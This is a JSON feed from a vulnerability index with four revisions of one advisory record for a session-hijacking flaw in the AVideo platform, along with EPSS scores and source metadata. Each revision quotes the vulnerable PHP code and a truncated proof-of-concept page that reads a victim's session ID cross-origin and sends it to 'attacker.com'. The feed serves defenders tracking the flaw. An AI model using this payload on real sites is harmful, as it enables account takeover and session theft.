{"items":[{"id":"NVI-00008051","kind":"vulnerability","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","revision":4,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-qc3p-398r-p59j","CVE-2026-33043"],"plain_summary":"OSV carries this publisher advisory for wwbn/avideo. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-2bc9102a794d6805c674bd619da06dae"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-11-03T12:00:27.000Z","value":"0.351%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.28807. Missing scores are unknown.","source_id":"sr-2bc9102a794d6805c674bd619da06dae"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-f398169af413851e21edda13eecebaf0","url":"https://github.com/advisories/GHSA-qc3p-398r-p59j","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-qc3p-398r-p59j","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:31.001Z"},{"id":"sr-2bc9102a794d6805c674bd619da06dae","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-33043","publisher":"FIRST EPSS","observed_at":"2026-11-03T17:44:07.782Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-f398169af413851e21edda13eecebaf0"],"technology":"wwbn/avideo","known_exclusions":[],"conditions_summary":"### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj->phpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(d => {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com","public_affected_ranges":["ECOSYSTEM: introduced 0; last_affected 25.0"]}],"null_published_at":"2026-11-08T19:53:33.642Z","source_updated_at":"2026-03-20T21:36:05.319Z","source_disclosed_at":"2026-03-17T19:52:28.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:31.001Z"},{"id":"NVI-00008051","kind":"vulnerability","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-qc3p-398r-p59j","CVE-2026-33043"],"plain_summary":"OSV carries this publisher advisory for wwbn/avideo. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-27e001747b5af308c6cf96a621302c30"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-11-01T12:00:16.000Z","value":"0.351%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.28772. Missing scores are unknown.","source_id":"sr-27e001747b5af308c6cf96a621302c30"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-f398169af413851e21edda13eecebaf0","url":"https://github.com/advisories/GHSA-qc3p-398r-p59j","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-qc3p-398r-p59j","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:31.001Z"},{"id":"sr-27e001747b5af308c6cf96a621302c30","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-33043","publisher":"FIRST EPSS","observed_at":"2026-11-01T14:28:32.272Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-f398169af413851e21edda13eecebaf0"],"technology":"wwbn/avideo","known_exclusions":[],"conditions_summary":"### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj->phpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(d => {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com","public_affected_ranges":["ECOSYSTEM: introduced 0; last_affected 25.0"]}],"null_published_at":"2026-11-06T15:18:11.438Z","source_updated_at":"2026-03-20T21:36:05.319Z","source_disclosed_at":"2026-03-17T19:52:28.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:31.001Z"},{"id":"NVI-00008051","kind":"vulnerability","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-qc3p-398r-p59j","CVE-2026-33043"],"plain_summary":"OSV carries this publisher advisory for wwbn/avideo. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-868e1ebe9ec9cdcdd4fb8120e4242b01"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.351%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.28776. Missing scores are unknown.","source_id":"sr-868e1ebe9ec9cdcdd4fb8120e4242b01"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-f398169af413851e21edda13eecebaf0","url":"https://github.com/advisories/GHSA-qc3p-398r-p59j","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-qc3p-398r-p59j","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:31.001Z"},{"id":"sr-868e1ebe9ec9cdcdd4fb8120e4242b01","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-33043","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.377Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-f398169af413851e21edda13eecebaf0"],"technology":"wwbn/avideo","known_exclusions":[],"conditions_summary":"### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj->phpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(d => {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com","public_affected_ranges":["ECOSYSTEM: introduced 0; last_affected 25.0"]}],"null_published_at":"2026-11-03T02:33:09.114Z","source_updated_at":"2026-03-20T21:36:05.319Z","source_disclosed_at":"2026-03-17T19:52:28.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:31.001Z"},{"id":"NVI-00008051","kind":"vulnerability","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-qc3p-398r-p59j","CVE-2026-33043"],"plain_summary":"OSV carries this publisher advisory for wwbn/avideo. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-f398169af413851e21edda13eecebaf0"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-f398169af413851e21edda13eecebaf0","url":"https://github.com/advisories/GHSA-qc3p-398r-p59j","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-qc3p-398r-p59j","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:31.001Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-f398169af413851e21edda13eecebaf0"],"technology":"wwbn/avideo","known_exclusions":[],"conditions_summary":"### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj->phpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(d => {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com","public_affected_ranges":["ECOSYSTEM: introduced 0; last_affected 25.0"]}],"null_published_at":"2026-10-31T22:13:22.827Z","source_updated_at":"2026-03-20T21:36:05.319Z","source_disclosed_at":"2026-03-17T19:52:28.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:31.001Z"}],"next_cursor":null,"snapshot_revision":"42594"}